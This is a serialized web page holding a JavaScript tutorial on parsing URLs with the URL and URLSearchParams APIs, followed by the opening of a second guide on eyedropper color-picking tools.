'\u002Fapi\u002Fusers'\n",[143,101007,101008,101032,101039],{"__ignoreMap":141},[1560,101009,101010,101012,101014,101016,101018,101020,101022,101025,101027,101030],{"class":1562,"line":1563},[1560,101011,8180],{"class":1669},[1560,101013,33819],{"class":1576},[1560,101015,8186],{"class":1669},[1560,101017,11489],{"class":1669},[1560,101019,100924],{"class":1566},[1560,101021,1688],{"class":1570},[1560,101023,101024],{"class":5634},"'\u002Fapi\u002Fusers?q=test'",[1560,101026,1459],{"class":1570},[1560,101028,101029],{"class":5634},"'https:\u002F\u002Fexample.com'",[1560,101031,8252],{"class":1570},[1560,101033,101034,101037],{"class":1562,"line":337},[1560,101035,101036],{"class":1570},"url.hostname  ",[1560,101038,100951],{"class":1649},[1560,101040,101041,101044],{"class":1562,"line":343},[1560,101042,101043],{"class":1570},"url.pathname  ",[1560,101045,101046],{"class":1649},"\u002F\u002F '\u002Fapi\u002Fusers'\n",[11,101048,101050],{"id":101049},"working-with-query-parameters","Working with Query Parameters",[16,101052,421,101053,101055],{},[143,101054,34243],{}," API handles query string parsing:",[135,101057,101059],{"className":1607,"code":101058,"language":1609,"meta":141,"style":141},"const params = new URLSearchParams('?format=json&page=2&sort=name')\n\nparams.get('format')      \u002F\u002F 'json'\nparams.get('page')        \u002F\u002F '2'\nparams.get(' nonexistent') \u002F\u002F null\nparams.has('sort')        \u002F\u002F true\nparams.getAll('tag')      \u002F\u002F ['js', 'tools'] (for ?tag=js&tag=tools)\n",[143,101060,101061,101080,101084,101101,101118,101134,101151],{"__ignoreMap":141},[1560,101062,101063,101065,101067,101069,101071,101073,101075,101078],{"class":1562,"line":1563},[1560,101064,8180],{"class":1669},[1560,101066,34336],{"class":1576},[1560,101068,8186],{"class":1669},[1560,101070,11489],{"class":1669},[1560,101072,34203],{"class":1566},[1560,101074,1688],{"class":1570},[1560,101076,101077],{"class":5634},"'?format=json&page=2&sort=name'",[1560,101079,8252],{"class":1570},[1560,101081,101082],{"class":1562,"line":337},[1560,101083,1702],{"emptyLinePlaceholder":363},[1560,101085,101086,101089,101091,101093,101096,101098],{"class":1562,"line":343},[1560,101087,101088],{"class":1570},"params.",[1560,101090,82334],{"class":1566},[1560,101092,1688],{"class":1570},[1560,101094,101095],{"class":5634},"'format'",[1560,101097,38662],{"class":1570},[1560,101099,101100],{"class":1649},"\u002F\u002F 'json'\n",[1560,101102,101103,101105,101107,101109,101112,101115],{"class":1562,"line":365},[1560,101104,101088],{"class":1570},[1560,101106,82334],{"class":1566},[1560,101108,1688],{"class":1570},[1560,101110,101111],{"class":5634},"'page'",[1560,101113,101114],{"class":1570},")        ",[1560,101116,101117],{"class":1649},"\u002F\u002F '2'\n",[1560,101119,101120,101122,101124,101126,101129,101131],{"class":1562,"line":889},[1560,101121,101088],{"class":1570},[1560,101123,82334],{"class":1566},[1560,101125,1688],{"class":1570},[1560,101127,101128],{"class":5634},"' nonexistent'",[1560,101130,1733],{"class":1570},[1560,101132,101133],{"class":1649},"\u002F\u002F null\n",[1560,101135,101136,101138,101141,101143,101146,101148],{"class":1562,"line":1710},[1560,101137,101088],{"class":1570},[1560,101139,101140],{"class":1566},"has",[1560,101142,1688],{"class":1570},[1560,101144,101145],{"class":5634},"'sort'",[1560,101147,101114],{"class":1570},[1560,101149,101150],{"class":1649},"\u002F\u002F true\n",[1560,101152,101153,101155,101158,101160,101163,101165],{"class":1562,"line":1717},[1560,101154,101088],{"class":1570},[1560,101156,101157],{"class":1566},"getAll",[1560,101159,1688],{"class":1570},[1560,101161,101162],{"class":5634},"'tag'",[1560,101164,38662],{"class":1570},[1560,101166,101167],{"class":1649},"\u002F\u002F ['js', 'tools'] (for ?tag=js&tag=tools)\n",[33,101169,101171],{"id":101170},"accessing-params-from-a-url-object","Accessing params from a URL object",[135,101173,101175],{"className":1607,"code":101174,"language":1609,"meta":141,"style":141},"const url = new URL('https:\u002F\u002Fexample.com\u002Fsearch?q=hello&lang=en')\nurl.searchParams.get('q')    \u002F\u002F 'hello'\nurl.searchParams.get('lang') \u002F\u002F 'en'\n",[143,101176,101177,101196,101213],{"__ignoreMap":141},[1560,101178,101179,101181,101183,101185,101187,101189,101191,101194],{"class":1562,"line":1563},[1560,101180,8180],{"class":1669},[1560,101182,33819],{"class":1576},[1560,101184,8186],{"class":1669},[1560,101186,11489],{"class":1669},[1560,101188,100924],{"class":1566},[1560,101190,1688],{"class":1570},[1560,101192,101193],{"class":5634},"'https:\u002F\u002Fexample.com\u002Fsearch?q=hello&lang=en'",[1560,101195,8252],{"class":1570},[1560,101197,101198,101201,101203,101205,101208,101210],{"class":1562,"line":337},[1560,101199,101200],{"class":1570},"url.searchParams.",[1560,101202,82334],{"class":1566},[1560,101204,1688],{"class":1570},[1560,101206,101207],{"class":5634},"'q'",[1560,101209,10130],{"class":1570},[1560,101211,101212],{"class":1649},"\u002F\u002F 'hello'\n",[1560,101214,101215,101217,101219,101221,101224,101226],{"class":1562,"line":343},[1560,101216,101200],{"class":1570},[1560,101218,82334],{"class":1566},[1560,101220,1688],{"class":1570},[1560,101222,101223],{"class":5634},"'lang'",[1560,101225,1733],{"class":1570},[1560,101227,101228],{"class":1649},"\u002F\u002F 'en'\n",[33,101230,101232],{"id":101231},"iterating-over-all-parameters","Iterating over all parameters",[135,101234,101236],{"className":1607,"code":101235,"language":1609,"meta":141,"style":141},"for (const [key, value] of url.searchParams) {\n  console.log(`${key}: ${value}`)\n}\n",[143,101237,101238,101262,101283],{"__ignoreMap":141},[1560,101239,101240,101242,101244,101246,101248,101250,101252,101254,101256,101259],{"class":1562,"line":1563},[1560,101241,7947],{"class":1669},[1560,101243,5181],{"class":1570},[1560,101245,8180],{"class":1669},[1560,101247,39830],{"class":1570},[1560,101249,39098],{"class":1576},[1560,101251,1459],{"class":1570},[1560,101253,39103],{"class":1576},[1560,101255,13484],{"class":1570},[1560,101257,101258],{"class":1669},"of",[1560,101260,101261],{"class":1570}," url.searchParams) {\n",[1560,101263,101264,101266,101268,101270,101272,101274,101277,101279,101281],{"class":1562,"line":337},[1560,101265,9717],{"class":1570},[1560,101267,8214],{"class":1566},[1560,101269,1688],{"class":1570},[1560,101271,9560],{"class":5634},[1560,101273,39098],{"class":1570},[1560,101275,101276],{"class":5634},"}: ${",[1560,101278,39103],{"class":1570},[1560,101280,9582],{"class":5634},[1560,101282,8252],{"class":1570},[1560,101284,101285],{"class":1562,"line":343},[1560,101286,1585],{"class":1570},[33,101288,101290],{"id":101289},"modifying-parameters","Modifying parameters",[135,101292,101294],{"className":1607,"code":101293,"language":1609,"meta":141,"style":141},"const url = new URL('https:\u002F\u002Fexample.com\u002Fsearch')\nurl.searchParams.set('q', 'hello')\nurl.searchParams.append('filter', 'active')\nurl.searchParams.delete('page')\n\nurl.toString()  \u002F\u002F 'https:\u002F\u002Fexample.com\u002Fsearch?q=hello&filter=active'\n",[143,101295,101296,101315,101333,101352,101365,101369],{"__ignoreMap":141},[1560,101297,101298,101300,101302,101304,101306,101308,101310,101313],{"class":1562,"line":1563},[1560,101299,8180],{"class":1669},[1560,101301,33819],{"class":1576},[1560,101303,8186],{"class":1669},[1560,101305,11489],{"class":1669},[1560,101307,100924],{"class":1566},[1560,101309,1688],{"class":1570},[1560,101311,101312],{"class":5634},"'https:\u002F\u002Fexample.com\u002Fsearch'",[1560,101314,8252],{"class":1570},[1560,101316,101317,101319,101322,101324,101326,101328,101331],{"class":1562,"line":337},[1560,101318,101200],{"class":1570},[1560,101320,101321],{"class":1566},"set",[1560,101323,1688],{"class":1570},[1560,101325,101207],{"class":5634},[1560,101327,1459],{"class":1570},[1560,101329,101330],{"class":5634},"'hello'",[1560,101332,8252],{"class":1570},[1560,101334,101335,101337,101340,101342,101345,101347,101350],{"class":1562,"line":343},[1560,101336,101200],{"class":1570},[1560,101338,101339],{"class":1566},"append",[1560,101341,1688],{"class":1570},[1560,101343,101344],{"class":5634},"'filter'",[1560,101346,1459],{"class":1570},[1560,101348,101349],{"class":5634},"'active'",[1560,101351,8252],{"class":1570},[1560,101353,101354,101356,101359,101361,101363],{"class":1562,"line":365},[1560,101355,101200],{"class":1570},[1560,101357,101358],{"class":1566},"delete",[1560,101360,1688],{"class":1570},[1560,101362,101111],{"class":5634},[1560,101364,8252],{"class":1570},[1560,101366,101367],{"class":1562,"line":889},[1560,101368,1702],{"emptyLinePlaceholder":363},[1560,101370,101371,101374,101376,101378],{"class":1562,"line":1710},[1560,101372,101373],{"class":1570},"url.",[1560,101375,10052],{"class":1566},[1560,101377,42820],{"class":1570},[1560,101379,101380],{"class":1649},"\u002F\u002F 'https:\u002F\u002Fexample.com\u002Fsearch?q=hello&filter=active'\n",[11,101382,101384],{"id":101383},"parsing-path-segments","Parsing Path Segments",[16,101386,421,101387,101390],{},[143,101388,101389],{},"pathname"," property gives you the full path. Split it to work with individual segments:",[135,101392,101394],{"className":1607,"code":101393,"language":1609,"meta":141,"style":141},"const url = new URL('https:\u002F\u002Fexample.com\u002Ftools\u002Furl-parser\u002Fguide')\nconst segments = url.pathname.split('\u002F').filter(Boolean)\n\u002F\u002F ['tools', 'url-parser', 'guide']\n",[143,101395,101396,101415,101440],{"__ignoreMap":141},[1560,101397,101398,101400,101402,101404,101406,101408,101410,101413],{"class":1562,"line":1563},[1560,101399,8180],{"class":1669},[1560,101401,33819],{"class":1576},[1560,101403,8186],{"class":1669},[1560,101405,11489],{"class":1669},[1560,101407,100924],{"class":1566},[1560,101409,1688],{"class":1570},[1560,101411,101412],{"class":5634},"'https:\u002F\u002Fexample.com\u002Ftools\u002Furl-parser\u002Fguide'",[1560,101414,8252],{"class":1570},[1560,101416,101417,101419,101422,101424,101427,101429,101431,101433,101435,101437],{"class":1562,"line":337},[1560,101418,8180],{"class":1669},[1560,101420,101421],{"class":1576}," segments",[1560,101423,8186],{"class":1669},[1560,101425,101426],{"class":1570}," url.pathname.",[1560,101428,9356],{"class":1566},[1560,101430,1688],{"class":1570},[1560,101432,89998],{"class":5634},[1560,101434,9368],{"class":1570},[1560,101436,23109],{"class":1566},[1560,101438,101439],{"class":1570},"(Boolean)\n",[1560,101441,101442],{"class":1562,"line":343},[1560,101443,101444],{"class":1649},"\u002F\u002F ['tools', 'url-parser', 'guide']\n",[16,101446,101447],{},"Filter out empty strings to handle leading and trailing slashes cleanly.",[33,101449,101451],{"id":101450},"extracting-dynamic-route-parameters","Extracting dynamic route parameters",[135,101453,101455],{"className":1607,"code":101454,"language":1609,"meta":141,"style":141},"\u002F\u002F Given pattern \u002Fusers\u002F:id\u002Fposts\u002F:postId\nfunction extractParams(pattern, pathname) {\n  const patternParts = pattern.split('\u002F')\n  const pathParts = pathname.split('\u002F')\n  const params = {}\n\n  for (let i = 0; i \u003C patternParts.length; i++) {\n    if (patternParts[i].startsWith(':')) {\n      params[patternParts[i].slice(1)] = pathParts[i]\n    }\n  }\n  return params\n}\n\nextractParams('\u002Fusers\u002F:id\u002Fposts\u002F:postId', '\u002Fusers\u002F42\u002Fposts\u002F7')\n\u002F\u002F { id: '42', postId: '7' }\n",[143,101456,101457,101462,101480,101500,101520,101530,101534,101565,101582,101601,101605,101609,101616,101620,101624,101641],{"__ignoreMap":141},[1560,101458,101459],{"class":1562,"line":1563},[1560,101460,101461],{"class":1649},"\u002F\u002F Given pattern \u002Fusers\u002F:id\u002Fposts\u002F:postId\n",[1560,101463,101464,101466,101469,101471,101474,101476,101478],{"class":1562,"line":337},[1560,101465,8648],{"class":1669},[1560,101467,101468],{"class":1566}," extractParams",[1560,101470,1688],{"class":1570},[1560,101472,101473],{"class":2219},"pattern",[1560,101475,1459],{"class":1570},[1560,101477,101389],{"class":2219},[1560,101479,9345],{"class":1570},[1560,101481,101482,101484,101487,101489,101492,101494,101496,101498],{"class":1562,"line":343},[1560,101483,28057],{"class":1669},[1560,101485,101486],{"class":1576}," patternParts",[1560,101488,8186],{"class":1669},[1560,101490,101491],{"class":1570}," pattern.",[1560,101493,9356],{"class":1566},[1560,101495,1688],{"class":1570},[1560,101497,89998],{"class":5634},[1560,101499,8252],{"class":1570},[1560,101501,101502,101504,101507,101509,101512,101514,101516,101518],{"class":1562,"line":365},[1560,101503,28057],{"class":1669},[1560,101505,101506],{"class":1576}," pathParts",[1560,101508,8186],{"class":1669},[1560,101510,101511],{"class":1570}," pathname.",[1560,101513,9356],{"class":1566},[1560,101515,1688],{"class":1570},[1560,101517,89998],{"class":5634},[1560,101519,8252],{"class":1570},[1560,101521,101522,101524,101526,101528],{"class":1562,"line":889},[1560,101523,28057],{"class":1669},[1560,101525,34336],{"class":1576},[1560,101527,8186],{"class":1669},[1560,101529,100279],{"class":1570},[1560,101531,101532],{"class":1562,"line":1710},[1560,101533,1702],{"emptyLinePlaceholder":363},[1560,101535,101536,101538,101540,101542,101544,101546,101548,101550,101552,101555,101557,101560,101563],{"class":1562,"line":1717},[1560,101537,82192],{"class":1669},[1560,101539,5181],{"class":1570},[1560,101541,41680],{"class":1669},[1560,101543,7950],{"class":1570},[1560,101545,7297],{"class":1669},[1560,101547,13541],{"class":1576},[1560,101549,82205],{"class":1570},[1560,101551,6431],{"class":1669},[1560,101553,101554],{"class":1570}," patternParts.",[1560,101556,9418],{"class":1576},[1560,101558,101559],{"class":1570},"; i",[1560,101561,101562],{"class":1669},"++",[1560,101564,9345],{"class":1570},[1560,101566,101567,101569,101572,101575,101577,101580],{"class":1562,"line":1747},[1560,101568,11527],{"class":1669},[1560,101570,101571],{"class":1570}," (patternParts[i].",[1560,101573,101574],{"class":1566},"startsWith",[1560,101576,1688],{"class":1570},[1560,101578,101579],{"class":5634},"':'",[1560,101581,76199],{"class":1570},[1560,101583,101584,101587,101589,101591,101593,101596,101598],{"class":1562,"line":2507},[1560,101585,101586],{"class":1570},"      params[patternParts[i].",[1560,101588,38951],{"class":1566},[1560,101590,1688],{"class":1570},[1560,101592,3585],{"class":1576},[1560,101594,101595],{"class":1570},")] ",[1560,101597,7297],{"class":1669},[1560,101599,101600],{"class":1570}," pathParts[i]\n",[1560,101602,101603],{"class":1562,"line":2524},[1560,101604,11612],{"class":1570},[1560,101606,101607],{"class":1562,"line":2529},[1560,101608,4959],{"class":1570},[1560,101610,101611,101613],{"class":1562,"line":2534},[1560,101612,9350],{"class":1669},[1560,101614,101615],{"class":1570}," params\n",[1560,101617,101618],{"class":1562,"line":2542},[1560,101619,1585],{"class":1570},[1560,101621,101622],{"class":1562,"line":2558},[1560,101623,1702],{"emptyLinePlaceholder":363},[1560,101625,101626,101629,101631,101634,101636,101639],{"class":1562,"line":2570},[1560,101627,101628],{"class":1566},"extractParams",[1560,101630,1688],{"class":1570},[1560,101632,101633],{"class":5634},"'\u002Fusers\u002F:id\u002Fposts\u002F:postId'",[1560,101635,1459],{"class":1570},[1560,101637,101638],{"class":5634},"'\u002Fusers\u002F42\u002Fposts\u002F7'",[1560,101640,8252],{"class":1570},[1560,101642,101643],{"class":1562,"line":6638},[1560,101644,101645],{"class":1649},"\u002F\u002F { id: '42', postId: '7' }\n",[11,101647,101649],{"id":101648},"handling-hash-fragments","Handling Hash Fragments",[135,101651,101653],{"className":1607,"code":101652,"language":1609,"meta":141,"style":141},"const url = new URL('https:\u002F\u002Fexample.com\u002Fdocs#installation')\nurl.hash  \u002F\u002F '#installation'\n\n\u002F\u002F Without the # prefix\nurl.hash.slice(1)  \u002F\u002F 'installation'\n",[143,101654,101655,101674,101682,101686,101691],{"__ignoreMap":141},[1560,101656,101657,101659,101661,101663,101665,101667,101669,101672],{"class":1562,"line":1563},[1560,101658,8180],{"class":1669},[1560,101660,33819],{"class":1576},[1560,101662,8186],{"class":1669},[1560,101664,11489],{"class":1669},[1560,101666,100924],{"class":1566},[1560,101668,1688],{"class":1570},[1560,101670,101671],{"class":5634},"'https:\u002F\u002Fexample.com\u002Fdocs#installation'",[1560,101673,8252],{"class":1570},[1560,101675,101676,101679],{"class":1562,"line":337},[1560,101677,101678],{"class":1570},"url.hash  ",[1560,101680,101681],{"class":1649},"\u002F\u002F '#installation'\n",[1560,101683,101684],{"class":1562,"line":343},[1560,101685,1702],{"emptyLinePlaceholder":363},[1560,101687,101688],{"class":1562,"line":365},[1560,101689,101690],{"class":1649},"\u002F\u002F Without the # prefix\n",[1560,101692,101693,101696,101698,101700,101702,101704],{"class":1562,"line":889},[1560,101694,101695],{"class":1570},"url.hash.",[1560,101697,38951],{"class":1566},[1560,101699,1688],{"class":1570},[1560,101701,3585],{"class":1576},[1560,101703,10060],{"class":1570},[1560,101705,101706],{"class":1649},"\u002F\u002F 'installation'\n",[16,101708,101709],{},"Hash fragments are never sent to the server. Use them for client-side navigation, scroll anchoring, or storing lightweight client state.",[11,101711,101713],{"id":101712},"url-encoding-and-decoding","URL Encoding and Decoding",[16,101715,101716],{},"URLs restrict characters to a safe ASCII subset. Other characters must be percent-encoded:",[135,101718,101720],{"className":1607,"code":101719,"language":1609,"meta":141,"style":141},"\u002F\u002F Encode values for safe URL insertion\nencodeURIComponent('hello world')  \u002F\u002F 'hello%20world'\nencodeURIComponent('price=10')     \u002F\u002F 'price%3D10'\n\n\u002F\u002F Decode values from URLs\ndecodeURIComponent('hello%20world')  \u002F\u002F 'hello world'\n",[143,101721,101722,101727,101740,101755,101759,101764],{"__ignoreMap":141},[1560,101723,101724],{"class":1562,"line":1563},[1560,101725,101726],{"class":1649},"\u002F\u002F Encode values for safe URL insertion\n",[1560,101728,101729,101731,101733,101735,101737],{"class":1562,"line":337},[1560,101730,33827],{"class":1566},[1560,101732,1688],{"class":1570},[1560,101734,34175],{"class":5634},[1560,101736,10060],{"class":1570},[1560,101738,101739],{"class":1649},"\u002F\u002F 'hello%20world'\n",[1560,101741,101742,101744,101746,101749,101752],{"class":1562,"line":343},[1560,101743,33827],{"class":1566},[1560,101745,1688],{"class":1570},[1560,101747,101748],{"class":5634},"'price=10'",[1560,101750,101751],{"class":1570},")     ",[1560,101753,101754],{"class":1649},"\u002F\u002F 'price%3D10'\n",[1560,101756,101757],{"class":1562,"line":365},[1560,101758,1702],{"emptyLinePlaceholder":363},[1560,101760,101761],{"class":1562,"line":889},[1560,101762,101763],{"class":1649},"\u002F\u002F Decode values from URLs\n",[1560,101765,101766,101769,101771,101774,101776],{"class":1562,"line":1710},[1560,101767,101768],{"class":1566},"decodeURIComponent",[1560,101770,1688],{"class":1570},[1560,101772,101773],{"class":5634},"'hello%20world'",[1560,101775,10060],{"class":1570},[1560,101777,101778],{"class":1649},"\u002F\u002F 'hello world'\n",[16,101780,101781,101783,101784,101786,101787,1459,101789,1466,101791,101793,101794,101796],{},[47,101782,41335],{},": Use ",[143,101785,33827],{}," for individual parameter values — it encodes ",[143,101788,7297],{},[143,101790,13530],{},[143,101792,33994],{},". Never use ",[143,101795,33927],{}," for parameter values, as it leaves those characters unencoded.",[193,101798,101799,101816],{},[196,101800,101801],{},[199,101802,101803,101805,101813],{},[202,101804,43834],{},[202,101806,34010,101807,1459,101809,1459,101811],{},[143,101808,33994],{},[143,101810,13530],{},[143,101812,7297],{},[202,101814,101815],{},"Use For",[211,101817,101818,101829],{},[199,101819,101820,101824,101826],{},[216,101821,101822],{},[143,101823,33927],{},[216,101825,6117],{},[216,101827,101828],{},"Full URLs",[199,101830,101831,101835,101837],{},[216,101832,101833],{},[143,101834,33827],{},[216,101836,3057],{},[216,101838,101839],{},"Parameter values",[11,101841,10393],{"id":10392},[33,101843,101845],{"id":101844},"missing-protocol","Missing protocol",[135,101847,101849],{"className":1607,"code":101848,"language":1609,"meta":141,"style":141},"\u002F\u002F THROWS: Invalid URL\nnew URL('example.com\u002Fpath')\n\n\u002F\u002F FIX: Add protocol\nnew URL('https:\u002F\u002Fexample.com\u002Fpath')\n\n\u002F\u002F FIX: Use base parameter\nnew URL('example.com\u002Fpath', 'https:\u002F\u002Fexample.com')\n\u002F\u002F Wait — this treats 'example.com\u002Fpath' as a relative path\n\u002F\u002F Correct approach:\nnew URL('https:\u002F\u002Fexample.com\u002Fpath')\n",[143,101850,101851,101856,101869,101873,101878,101891,101895,101900,101916,101921,101926],{"__ignoreMap":141},[1560,101852,101853],{"class":1562,"line":1563},[1560,101854,101855],{"class":1649},"\u002F\u002F THROWS: Invalid URL\n",[1560,101857,101858,101860,101862,101864,101867],{"class":1562,"line":337},[1560,101859,20807],{"class":1669},[1560,101861,100924],{"class":1566},[1560,101863,1688],{"class":1570},[1560,101865,101866],{"class":5634},"'example.com\u002Fpath'",[1560,101868,8252],{"class":1570},[1560,101870,101871],{"class":1562,"line":343},[1560,101872,1702],{"emptyLinePlaceholder":363},[1560,101874,101875],{"class":1562,"line":365},[1560,101876,101877],{"class":1649},"\u002F\u002F FIX: Add protocol\n",[1560,101879,101880,101882,101884,101886,101889],{"class":1562,"line":889},[1560,101881,20807],{"class":1669},[1560,101883,100924],{"class":1566},[1560,101885,1688],{"class":1570},[1560,101887,101888],{"class":5634},"'https:\u002F\u002Fexample.com\u002Fpath'",[1560,101890,8252],{"class":1570},[1560,101892,101893],{"class":1562,"line":1710},[1560,101894,1702],{"emptyLinePlaceholder":363},[1560,101896,101897],{"class":1562,"line":1717},[1560,101898,101899],{"class":1649},"\u002F\u002F FIX: Use base parameter\n",[1560,101901,101902,101904,101906,101908,101910,101912,101914],{"class":1562,"line":1747},[1560,101903,20807],{"class":1669},[1560,101905,100924],{"class":1566},[1560,101907,1688],{"class":1570},[1560,101909,101866],{"class":5634},[1560,101911,1459],{"class":1570},[1560,101913,101029],{"class":5634},[1560,101915,8252],{"class":1570},[1560,101917,101918],{"class":1562,"line":2507},[1560,101919,101920],{"class":1649},"\u002F\u002F Wait — this treats 'example.com\u002Fpath' as a relative path\n",[1560,101922,101923],{"class":1562,"line":2524},[1560,101924,101925],{"class":1649},"\u002F\u002F Correct approach:\n",[1560,101927,101928,101930,101932,101934,101936],{"class":1562,"line":2529},[1560,101929,20807],{"class":1669},[1560,101931,100924],{"class":1566},[1560,101933,1688],{"class":1570},[1560,101935,101888],{"class":5634},[1560,101937,8252],{"class":1570},[33,101939,101941],{"id":101940},"double-encoding","Double encoding",[135,101943,101945],{"className":1607,"code":101944,"language":1609,"meta":141,"style":141},"\u002F\u002F BAD: Encoding an already-encoded value\nencodeURIComponent('hello%20world')  \u002F\u002F 'hello%2520world' — double encoded\n\n\u002F\u002F Decode first, then re-encode if needed\ndecodeURIComponent('hello%20world')  \u002F\u002F 'hello world'\n",[143,101946,101947,101952,101965,101969,101974],{"__ignoreMap":141},[1560,101948,101949],{"class":1562,"line":1563},[1560,101950,101951],{"class":1649},"\u002F\u002F BAD: Encoding an already-encoded value\n",[1560,101953,101954,101956,101958,101960,101962],{"class":1562,"line":337},[1560,101955,33827],{"class":1566},[1560,101957,1688],{"class":1570},[1560,101959,101773],{"class":5634},[1560,101961,10060],{"class":1570},[1560,101963,101964],{"class":1649},"\u002F\u002F 'hello%2520world' — double encoded\n",[1560,101966,101967],{"class":1562,"line":343},[1560,101968,1702],{"emptyLinePlaceholder":363},[1560,101970,101971],{"class":1562,"line":365},[1560,101972,101973],{"class":1649},"\u002F\u002F Decode first, then re-encode if needed\n",[1560,101975,101976,101978,101980,101982,101984],{"class":1562,"line":889},[1560,101977,101768],{"class":1566},[1560,101979,1688],{"class":1570},[1560,101981,101773],{"class":5634},[1560,101983,10060],{"class":1570},[1560,101985,101778],{"class":1649},[33,101987,101989],{"id":101988},"null-vs-empty-string","Null vs empty string",[135,101991,101993],{"className":1607,"code":101992,"language":1609,"meta":141,"style":141},"const params = new URLSearchParams('?q=')\nparams.get('q')   \u002F\u002F '' (empty string, not null)\nparams.has('q')   \u002F\u002F true\n\nconst params2 = new URLSearchParams('?page')\nparams2.get('page')  \u002F\u002F '' (empty string)\n",[143,101994,101995,102014,102029,102043,102047,102067],{"__ignoreMap":141},[1560,101996,101997,101999,102001,102003,102005,102007,102009,102012],{"class":1562,"line":1563},[1560,101998,8180],{"class":1669},[1560,102000,34336],{"class":1576},[1560,102002,8186],{"class":1669},[1560,102004,11489],{"class":1669},[1560,102006,34203],{"class":1566},[1560,102008,1688],{"class":1570},[1560,102010,102011],{"class":5634},"'?q='",[1560,102013,8252],{"class":1570},[1560,102015,102016,102018,102020,102022,102024,102026],{"class":1562,"line":337},[1560,102017,101088],{"class":1570},[1560,102019,82334],{"class":1566},[1560,102021,1688],{"class":1570},[1560,102023,101207],{"class":5634},[1560,102025,10081],{"class":1570},[1560,102027,102028],{"class":1649},"\u002F\u002F '' (empty string, not null)\n",[1560,102030,102031,102033,102035,102037,102039,102041],{"class":1562,"line":343},[1560,102032,101088],{"class":1570},[1560,102034,101140],{"class":1566},[1560,102036,1688],{"class":1570},[1560,102038,101207],{"class":5634},[1560,102040,10081],{"class":1570},[1560,102042,101150],{"class":1649},[1560,102044,102045],{"class":1562,"line":365},[1560,102046,1702],{"emptyLinePlaceholder":363},[1560,102048,102049,102051,102054,102056,102058,102060,102062,102065],{"class":1562,"line":889},[1560,102050,8180],{"class":1669},[1560,102052,102053],{"class":1576}," params2",[1560,102055,8186],{"class":1669},[1560,102057,11489],{"class":1669},[1560,102059,34203],{"class":1566},[1560,102061,1688],{"class":1570},[1560,102063,102064],{"class":5634},"'?page'",[1560,102066,8252],{"class":1570},[1560,102068,102069,102072,102074,102076,102078,102080],{"class":1562,"line":1710},[1560,102070,102071],{"class":1570},"params2.",[1560,102073,82334],{"class":1566},[1560,102075,1688],{"class":1570},[1560,102077,101111],{"class":5634},[1560,102079,10060],{"class":1570},[1560,102081,102082],{"class":1649},"\u002F\u002F '' (empty string)\n",[11,102084,1355],{"id":1354},[41,102086,102087,102092,102097,102104,102107,102110],{},[44,102088,18550,102089,102091],{},[143,102090,100905],{}," constructor for parsing — avoid regex and string splitting",[44,102093,102094,102096],{},[143,102095,34243],{}," handles query string parsing, iteration, and modification",[44,102098,99048,102099,102101,102102],{},[143,102100,33827],{}," for parameter values, never ",[143,102103,33927],{},[44,102105,102106],{},"Provide a base URL when parsing relative URLs",[44,102108,102109],{},"Watch for double encoding and missing protocol errors",[44,102111,102112,102115],{},[143,102113,102114],{},"searchParams.get()"," returns null for missing keys and empty string for empty values",[11,102117,321],{"id":320},[41,102119,102120,102126,102132],{},[44,102121,102122],{},[98,102123,102125],{"href":102124},"\u002Fguides\u002Furl-structure-explained","URL Structure Explained",[44,102127,102128],{},[98,102129,102131],{"href":102130},"\u002Fguides\u002Fquery-parameters-guide","Query Parameters Guide",[44,102133,102134],{},[98,102135,102137],{"href":102136},"\u002Fguides\u002Furl-security-best-practices","URL Security Best Practices",[11,102139,286],{"id":285},[16,102141,102142,102143,102145],{},"Parse and inspect any URL interactively with our free ",[98,102144,99078],{"href":99077},". Paste a URL and see every component — protocol, host, path, query, and hash — broken down instantly.",[2043,102147,88539],{},{"title":141,"searchDepth":337,"depth":337,"links":102149},[102150,102151,102152,102157,102160,102161,102162,102167,102168,102169],{"id":100889,"depth":337,"text":100890},{"id":100899,"depth":337,"text":100900},{"id":101049,"depth":337,"text":101050,"children":102153},[102154,102155,102156],{"id":101170,"depth":343,"text":101171},{"id":101231,"depth":343,"text":101232},{"id":101289,"depth":343,"text":101290},{"id":101383,"depth":337,"text":101384,"children":102158},[102159],{"id":101450,"depth":343,"text":101451},{"id":101648,"depth":337,"text":101649},{"id":101712,"depth":337,"text":101713},{"id":10392,"depth":337,"text":10393,"children":102163},[102164,102165,102166],{"id":101844,"depth":343,"text":101845},{"id":101940,"depth":343,"text":101941},{"id":101988,"depth":343,"text":101989},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how to parse URLs and extract query parameters, path segments, hash fragments, and more using JavaScript built-in APIs.",{"immutable":363},"\u002Fguides\u002Fextracting-data-from-urls-javascript",{"title":100884,"description":102170},"guides\u002Fextracting-data-from-urls-javascript","UIwrxts_DNxHz1DKtqhiEeK-UlR5KjRJsGT1HSNs_9s",{"id":102177,"title":102178,"body":102179,"date":2070,"description":102974,"extension":361,"meta":102975,"navigation":363,"path":102976,"readingTime":1710,"seo":102977,"stem":102978,"__hash__":102979},"guides\u002Fguides\u002Feyedropper-tool-web-design.md","Eyedropper Tools for Web Designers",{"type":8,"value":102180,"toc":102952},[102181,102185,102188,102191,102195,102201,102203,102317,102321,102461,102463,102523,102526,102595,102599,102602,102606,102609,102613,102690,102694,102719,102723,102726,102792,102796,102799,102819,102822,102826,102830,102844,102895,102899,102902,102916,102919,102921,102937,102939,102942,102949],[11,102182,102184],{"id":102183},"the-modern-color-picking-workflow","The Modern Color Picking Workflow",[16,102186,102187],{},"Every web designer has been there: you see a color on a website, in an image, or in another application and need to match it in your project. The old workflow — screenshot, paste into Photoshop, sample — is slow. Modern eyedropper tools let you pick any color on screen in seconds.",[16,102189,102190],{},"The landscape splits into three categories: native browser APIs, browser extensions, and standalone desktop apps. Each has different strengths depending on your workflow.",[11,102192,102194],{"id":102193},"the-eyedropper-api","The EyeDropper API",[16,102196,102197,102198,102200],{},"Modern browsers now support the ",[47,102199,31478],{},", a JavaScript API that lets web applications access a system-level color picker directly. No extensions needed.",[33,102202,31483],{"id":31482},[135,102204,102206],{"className":1607,"code":102205,"language":1609,"meta":141,"style":141},"async function pickColor() {\n  try {\n    const eyeDropper = new EyeDropper()\n    const result = await eyeDropper.open()\n    console.log(result.sRGBHex) \u002F\u002F \"#ff6600\"\n    return result.sRGBHex\n  } catch (e) {\n    \u002F\u002F User cancelled the picker\n    console.log('Color picking cancelled')\n  